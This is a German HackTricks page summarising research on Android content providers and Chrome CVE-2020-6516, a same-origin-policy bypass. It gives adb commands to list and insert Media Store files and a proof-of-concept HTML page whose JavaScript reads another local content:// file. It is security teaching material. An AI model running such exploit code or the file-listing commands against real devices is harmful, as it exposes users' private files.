tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Dies ist eine Zusammenfassung des Beitrags https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
Auflisten von Dateien im Media Store
Um Dateien aufzulisten, die vom Media Store verwaltet werden, kann der folgende Befehl verwendet werden:
$ content query --uri content://media/external/file
Für eine benutzerfreundlichere Ausgabe, die nur die Kennung und den Pfad jeder indizierten Datei anzeigt:
$ content query --uri content://media/external/file --projection _id,_data
Content-Provider sind in ihrem eigenen privaten Namensraum isoliert. Der Zugriff auf einen Provider erfordert die spezifische content://
URI. Informationen über die Pfade zum Zugriff auf einen Provider können aus Anwendungsmanifests oder dem Quellcode des Android-Frameworks gewonnen werden.
Chomes Zugriff auf Content-Provider
Chrome auf Android kann über das content://
-Schema auf Content-Provider zugreifen, was ihm ermöglicht, auf Ressourcen wie Fotos oder Dokumente zuzugreifen, die von Drittanbieteranwendungen exportiert wurden. Um dies zu veranschaulichen, kann eine Datei in den Media Store eingefügt und dann über Chrome darauf zugegriffen werden:
Fügen Sie einen benutzerdefinierten Eintrag in den Media Store ein:
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
Entdecken Sie die Kennung der neu eingefügten Datei:
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
Die Datei kann dann in Chrome mit einer URL angezeigt werden, die mit der Kennung der Datei erstellt wurde.
Zum Beispiel, um Dateien aufzulisten, die mit einer bestimmten Anwendung verbunden sind:
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
Chrome CVE-2020-6516: Same-Origin-Policy Bypass
Die Same Origin Policy (SOP) ist ein Sicherheitsprotokoll in Browsern, das Webseiten daran hindert, mit Ressourcen von anderen Ursprüngen zu interagieren, es sei denn, dies wird ausdrücklich durch eine Cross-Origin-Resource-Sharing (CORS) Richtlinie erlaubt. Diese Richtlinie zielt darauf ab, Informationslecks und Cross-Site-Request-Forgery zu verhindern. Chrome betrachtet content://
als ein lokales Schema, was strengere SOP-Regeln impliziert, bei denen jede lokale Schema-URL als separater Ursprung behandelt wird.
CVE-2020-6516 war jedoch eine Schwachstelle in Chrome, die einen Umgehung der SOP-Regeln für Ressourcen ermöglichte, die über eine content://
URL geladen wurden. In der Tat konnte JavaScript-Code von einer content://
URL auf andere Ressourcen zugreifen, die über content://
URLs geladen wurden, was ein erhebliches Sicherheitsproblem darstellte, insbesondere auf Android-Geräten, die Versionen vor Android 10 verwendeten, wo Scoped Storage nicht implementiert war.
Der nachfolgende Proof-of-Concept demonstriert diese Schwachstelle, bei der ein HTML-Dokument, nachdem es unter /sdcard hochgeladen und zum Media Store hinzugefügt wurde, XMLHttpRequest
in seinem JavaScript verwendet, um auf den Inhalt einer anderen Datei im Media Store zuzugreifen und diesen anzuzeigen, wodurch die SOP-Regeln umgangen werden.
Proof-of-Concept HTML:
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.